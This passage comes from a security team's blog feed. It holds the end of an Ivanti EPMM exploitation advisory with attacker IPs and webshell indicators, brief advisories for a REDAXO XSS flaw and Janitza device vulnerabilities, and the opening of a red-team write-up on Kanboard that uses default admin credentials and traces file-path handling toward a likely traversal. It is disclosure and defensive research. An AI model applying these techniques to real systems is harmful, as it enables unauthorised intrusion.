&lt;p&gt;The German Federal Office for Information Security (BSI) also &lt;a href=&quot;https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2026/2026-221601-1032_bits.html&quot;&gt;warned&lt;/a&gt; about the two vulnerabilities and noted that active exploitation of the CVEs could have occured since at least summer 2025, with further exploitation by other cyber actors noted shortly after public disclosure on January 29, 2026. BSI also remarked that successful exploitation of these vulnerabilities can lead to the exfiltration of sensitive information, including personal data, device and location data, credentials, and cryptographic keys, as well as potential lateral movement within the connected network.&lt;/p&gt;

&lt;p&gt;BSI has confirmed that German organizations have been targeted by attackers exploiting these vulnerabilities, with the Shadowserver Foundation detecting over 20 compromised organizations in Germany alone. Compromised Ivanti EPMM appliances, including those that have reached End-of-Life (EoL), are likely to have been exploited, and operators should assume compromise even if they patched on the day of disclosure.&lt;/p&gt;

&lt;p&gt;Attackers have been observed deploying malicious files, such as webshells, in the root, /tmp, and /var/tmp directories, often with one or two-digit filenames and compressed with 7z/LZMA2 algorithms. A persistent webshell was established by attackers using the file favicon.png located at /var/www/ext/html/favicon.png. Observed post-exploitation activities include the use of specific IP addresses (e.g., 161.129.60[.]118, 151.177.78[.]0, 185.212.171[.]137, 185.212.171[.]151, 185.212.171[.]134, 185.212.171[.]156) and a faulty User-Agent Edg/143.0.0.1.&lt;/p&gt;

&lt;p&gt;BSI recommends that organizations monitor their entire network for suspicious data traffic or login attempts, not just systems directly connected to Ivanti EPMM, due to potential data exfiltration and lateral movement. BSI has rated the criticality of these vulnerabilities as 3/Orange, indicating that immediate action is required due to the potential for massive disruption to regular operations.&lt;/p&gt;

&lt;h3 id=&quot;recommendations&quot;&gt;Recommendations&lt;/h3&gt;

&lt;p&gt;Organizations operating affected Ivanti EPMM instances should immediately apply the latest vendor patches if this has not already been done. Given confirmed in-the-wild exploitation and the likelihood of pre-patch compromise, organizations that updated their systems only after public disclosure should strongly consider conducting a structured compromise assessment.&lt;/p&gt;

&lt;p&gt;Guidance and technical indicators &lt;a href=&quot;https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2026/2026-221601-1032.pdf?__blob=publicationFile&amp;amp;v=6&quot;&gt;published by the German Federal Office for Information Security (BSI)&lt;/a&gt;, as well as the detection script jointly provided by &lt;a href=&quot;https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US&quot;&gt;NCSC-NL and Ivanti&lt;/a&gt;, offer a valuable foundation for identifying potential indicators of compromise and validating system integrity.&lt;/p&gt;

&lt;p&gt;For organizations that require additional expertise or independent validation, &lt;a href=&quot;https://geschaeftskunden.telekom.de/business/loesungen/digitalisierung/cyber-security&quot;&gt;Telekom Security can support&lt;/a&gt; organizations with tailored compromise assessments, threat hunting activities, and incident response services to ensure potential persistence mechanisms or lateral movement activities are identified and contained.&lt;/p&gt;

&lt;h3 id=&quot;iocs&quot;&gt;IOCs&lt;/h3&gt;

&lt;p&gt;IOCs can be found &lt;a href=&quot;https://github.com/telekom-security/malware_analysis/blob/main/iocs/Ivanti-CVE-2026-1281-Exploitation.csv&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Security Content for REDAXO</title>
    <link href="https://github.security.telekom.com/2025/11/redaxo-reflected-xss.html"/>
    <id>https://github.security.telekom.com/2025/11/redaxo-reflected-xss.html</id>
    <updated>2025-11-25T00:00:00+00:00</updated>
    <summary type="html">A reflected Cross-Site Scripting vulnerability (CVE-2025-66026) has been identified in the REDAXO Mediapool component. The issue allows arbitrary JavaScript execution in the backend when a user visits a specially crafted link while authenticated.</summary>
    <content type="html">&lt;p&gt;A reflected Cross-Site Scripting vulnerability (CVE-2025-66026) has been identified in the REDAXO Mediapool component. The issue allows arbitrary JavaScript execution in the backend when a user visits a specially crafted link while authenticated. &lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; REDAXO CMS&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; &amp;lt;= 5.20.0&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Fixed Version:&lt;/strong&gt; 5.20.1&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Reflected Cross-Site Scripting (CWE-79)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; Moderate&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://redaxo.org/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Fixed&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2025-66026&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;technical-summary&quot;&gt;Technical Summary&lt;/h3&gt;

&lt;p&gt;In the Mediapool view, the request parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;args[types]&lt;/code&gt; is injected into an information banner without proper HTML escaping.&lt;/p&gt;

&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;

&lt;p&gt;This vulnerability enables JavaScript execution in the backend context of an authenticated user, potentially allowing session hijacking and unauthorized administrative actions.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/redaxo/redaxo/security/advisories/GHSA-x6vr-q3vf-vqgq&quot;&gt;Github Advisory&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;2025-11-11:&lt;/strong&gt; Vulnerability reported to the vendor via GitHub.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2025-11-25:&lt;/strong&gt; The vendor has published the GitHub advisory and released the fixed version.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2025-11-25:&lt;/strong&gt; This blog post was published.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Holger Fuhrmannek (&lt;a href=&quot;mailto:holger.fuhrmannek@telekom.de&quot;&gt;holger.fuhrmannek@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Multiple vulnerabilities in Janitza UMG 96RM-E</title>
    <link href="https://github.security.telekom.com/2025/11/multiple-vulnerabilities-in-janitza-umg96rm-e.html"/>
    <id>https://github.security.telekom.com/2025/11/multiple-vulnerabilities-in-janitza-umg96rm-e.html</id>
    <updated>2025-11-04T00:00:00+00:00</updated>
    <summary type="html">Several vulnerabilities were discovered during testing of a Janitza UMG 96RM-E device.</summary>
    <content type="html">&lt;p&gt;Several vulnerabilities were discovered during testing of a Janitza UMG 96RM-E device.&lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;details&quot;&gt;Details&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Product:&lt;/strong&gt; UMG 96RM-E (both 24V and 230V versions)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Affected Version:&lt;/strong&gt; firmware versions below 3.14&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vulnerability Type:&lt;/strong&gt; Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) (CWE-78), Use of Hard-coded Credentials (CWE-798), Use of a Broken or Risky Cryptographic Algorithm (CWE-327) and Incorrect Permission Assignment for Critical Resource (CWE-732)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Risk Level:&lt;/strong&gt; Critical&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor URL:&lt;/strong&gt; https://www.janitza.com/&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor acknowledged vulnerability:&lt;/strong&gt; Yes&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Vendor Status:&lt;/strong&gt; Updated firmware available&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;CVEs:&lt;/strong&gt; CVE-2025-41709, CVE-2025-41710, CVE-2025-41711, CVE-2025-41712&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The vulnerabilities were discovered during testing a device of type UMG 96RM-E. These vulnerabilities in combination allow an unauthenticated remote attacker to fully compromise the system including remote code execution.&lt;/p&gt;

&lt;p&gt;It is strongly advised to update to the newest version. The vulnerabilities are fixed in version 3.14. In addition, such devices shall be operated in a closed network protected by a suitable firewall. Network access to the device should be limited to only enable necessary components to access it and protocols not necessary for the operation should be blocked.&lt;/p&gt;

&lt;h3 id=&quot;cve-2025-41709-command-injection-via-modbus&quot;&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41709&quot;&gt;CVE-2025-41709&lt;/a&gt;: Command injection via Modbus&lt;/h3&gt;

&lt;p&gt;A high privileged remote attacker can perform a command injection via Modbus to gain read and write access on the affected device. This vulnerability has a CVSSv3.1 Base Score of &lt;a href=&quot;https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&quot;&gt;9.8&lt;/a&gt; and is rated CRITICAL.&lt;/p&gt;

&lt;h3 id=&quot;cve-2025-41710-use-of-hard-coded-credentials&quot;&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41710&quot;&gt;CVE-2025-41710&lt;/a&gt;: Use of Hard-coded Credentials&lt;/h3&gt;

&lt;p&gt;An unauthenticated remote attacker may use hardcoded credentials to get access to the previously activated FTP Server with limited write privileges. This vulnerability has a CVSSv3.1 Base Score of &lt;a href=&quot;https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N&quot;&gt;5.3&lt;/a&gt; and is rated MEDIUM.&lt;/p&gt;

&lt;h3 id=&quot;cve-2025-41711-use-of-firmware-images-to-extract-password-hashes-and-brute-force-plaintext-passwords&quot;&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41711&quot;&gt;CVE-2025-41711&lt;/a&gt;: Use of firmware images to extract password hashes and brute force plaintext passwords&lt;/h3&gt;

&lt;p&gt;An unauthenticated remote attacker can use firmware images to extract password hashes and brute force plaintext passwords of accounts with limited access. This vulnerability has a CVSSv3.1 Base Score of &lt;a href=&quot;https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N&quot;&gt;5.3&lt;/a&gt; and is rated MEDIUM.&lt;/p&gt;

&lt;h3 id=&quot;cve-2025-41712-incorrect-permission-assignment-on-the-device&quot;&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41712&quot;&gt;CVE-2025-41712&lt;/a&gt;: Incorrect Permission Assignment on the device&lt;/h3&gt;

&lt;p&gt;An unauthenticated remote attacker who tricks a user to upload a manipulated HTML file can get access to sensitive information on the device. This is a result of incorrect permission assignment for the web server. This vulnerability has a CVSSv3.1 Base Score of &lt;a href=&quot;https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N&quot;&gt;6.5&lt;/a&gt; and is rated MEDIUM.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://certvde.com/en/advisories/VDE-2025-079&quot;&gt;VDE-2025-079: Janitza: Multiple vulnerabilities in UMG 96RM-E&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41709&quot;&gt;CVE-2025-41709&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41710&quot;&gt;CVE-2025-41710&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41711&quot;&gt;CVE-2025-41711&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-41712&quot;&gt;CVE-2025-41712&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://janitza.csaf-tp.certvde.com/.well-known/csaf/white/2025/vde-2025-079.json&quot;&gt;Vendor Security Advisory in CSAF format&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Pascal Dengler (&lt;a href=&quot;mailto:pascal.dengler@telekom.de&quot;&gt;pascal.dengler@telekom.de&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Jan Stohner (&lt;a href=&quot;mailto:jan.stohner@telekom.de&quot;&gt;jan.stohner@telekom.de&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  
  <entry>
    <title>Multiple vulnerabilities in Kanboard (Exploiting web applications Part II)</title>
    <link href="https://github.security.telekom.com/2025/06/multiple-vulnerabilities-in-kanboard.html"/>
    <id>https://github.security.telekom.com/2025/06/multiple-vulnerabilities-in-kanboard.html</id>
    <updated>2025-06-03T00:00:00+00:00</updated>
    <summary type="html">This article is a continuation of a write-up series, where we discuss web application vulnerabilities found during red team operations. This time, the target was the Kanboard software.</summary>
    <content type="html">&lt;p&gt;This article is a continuation of a write-up series, where we discuss web application vulnerabilities found during red team operations. This time, the target was the Kanboard software. &lt;!--more--&gt;&lt;/p&gt;

&lt;h3 id=&quot;project-management-in-kanboard-style&quot;&gt;Project Management in Kanboard style&lt;/h3&gt;

&lt;p&gt;With over 8000 stars on GitHub, &lt;a href=&quot;https://github.com/kanboard/kanboard&quot;&gt;Kanboard&lt;/a&gt; is one of the most popular applications for organizing projects following the Kanban approach.&lt;/p&gt;

&lt;p&gt;During one of our red team assessments, we discovered that our client self-hosts an instance of Kanboard.
Since it is open-source, we decided to hunt for vulnerabilities by reading the source code and penetration testing in parallel.&lt;/p&gt;

&lt;p&gt;So, it all started with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git clone&lt;/code&gt;. We used the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ack&lt;/code&gt; tool as an in place grep replacement, which helped us find interesting code sections. Browsing through the code leaves the first impression that it is well structured and cleanly written.&lt;/p&gt;

&lt;h4 id=&quot;initial-access-and-juicy-features&quot;&gt;Initial access and juicy features&lt;/h4&gt;

&lt;p&gt;But first, let’s switch to the customer instance again - not having said yet that the good old &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin:admin&lt;/code&gt; credential set helped us out once again :)
We could successfully authenticate as the administrator and thus open us various possibilities to potentially exploit application functionalities.&lt;/p&gt;

&lt;p&gt;Having administrative access to the Kanboard instance also gives us lots of interesting information about the target’s project details including network and system configurations. But can we abuse the server?
We browse through different projects, boards, comments, item details and uploaded attachments.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/kanboard/download-database.png&quot; alt=&quot;Download Database&quot; /&gt;&lt;/p&gt;

&lt;p&gt;One interesting feature of Kanboard is allowing administrators to download the complete SQLite database as a gzip file or upload it to update the database.
So we did this: a surprise backup of our target instance.
We decompress the downloaded file by executing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gzip -d db.sqlite.gz&lt;/code&gt; and open it with an SQLite browser.&lt;/p&gt;

&lt;p&gt;We can see the raw data of projects, comments, etc.
Especially the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;project_has_files&lt;/code&gt; table holds our attention, as it stores relative file paths of uploaded files.
So we switched to the source code repository and looked through the source code, to determine how the the filepaths are read and used within the application.&lt;/p&gt;

&lt;h5 id=&quot;write-and-delete-files---but-what-about-reading-them&quot;&gt;Write and delete files - but what about reading them?&lt;/h5&gt;

&lt;p&gt;In the web UI, we see that uploaded files can be downloaded through URLs like this: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://example.com/project/1/file/1/download/&amp;lt;hash&amp;gt;&lt;/code&gt;.
So searching through the code base for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/download&lt;/code&gt; points us to the underlying PHP class that is responsible for serving files: the &lt;a href=&quot;https://github.com/kanboard/kanboard/blob/v1.2.41/app/Controller/FileViewerController.php&quot;&gt;FileViewerController&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ack &lt;span class=&quot;s2&quot;&gt;&quot;/download&quot;&lt;/span&gt;
ServiceProvider/RouteProvider.php
77:  &lt;span class=&quot;nv&quot;&gt;$container&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;route&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;-&amp;gt;addRoute&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;project/:project_id/file/:file_id/download/:etag&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;FileViewerController&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;download&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
148: &lt;span class=&quot;nv&quot;&gt;$container&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;route&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;-&amp;gt;addRoute&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;task/:task_id/file/:file_id/download/:etag&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;FileViewerController&apos;&lt;/span&gt;, &lt;span class=&quot;s1&quot;&gt;&apos;download&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The below &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;download()&lt;/code&gt; function of the &lt;a href=&quot;https://github.com/kanboard/kanboard/blob/v1.2.41/app/Controller/FileViewerController.php#L152&quot;&gt;FileViewerController.php&lt;/a&gt; looks very simple. But what exactly do &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$this-&amp;gt;getFile();&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$this-&amp;gt;objectStorage-&amp;gt;output($file[&apos;path&apos;]);&lt;/code&gt; do?&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;download&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;withFileDownload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;name&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;objectStorage&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;path&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ObjectStorageException&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logger&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$this-&amp;gt;getFile()&lt;/code&gt; is a call to the super class of &lt;a href=&quot;https://github.com/kanboard/kanboard/blob/v1.2.41/app/Controller/BaseController.php#L93&quot;&gt;BaseController&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;protected&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$project_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getIntegerParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;project_id&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$task_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getIntegerParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;task_id&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$file_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getIntegerParam&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;file_id&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    
    &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We see that this function parses the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;project_id&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file_id&lt;/code&gt; parameter values that we already saw in the route definition of download URLs. The function essentially parses the two values from the URL, performs a SQL select on the attachments and returns an array with the data, collected from the SQL entry. No path sanitization that we can see so far!&lt;/p&gt;

&lt;p&gt;So lets check the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;output()&lt;/code&gt; function of the objectStorage, which is defined in &lt;a href=&quot;https://github.com/kanboard/kanboard/blob/v1.2.41/app/Core/ObjectStorage/FileStorage.php#L75&quot;&gt;FileStorage.php&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;DIRECTORY_SEPARATOR&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file_exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
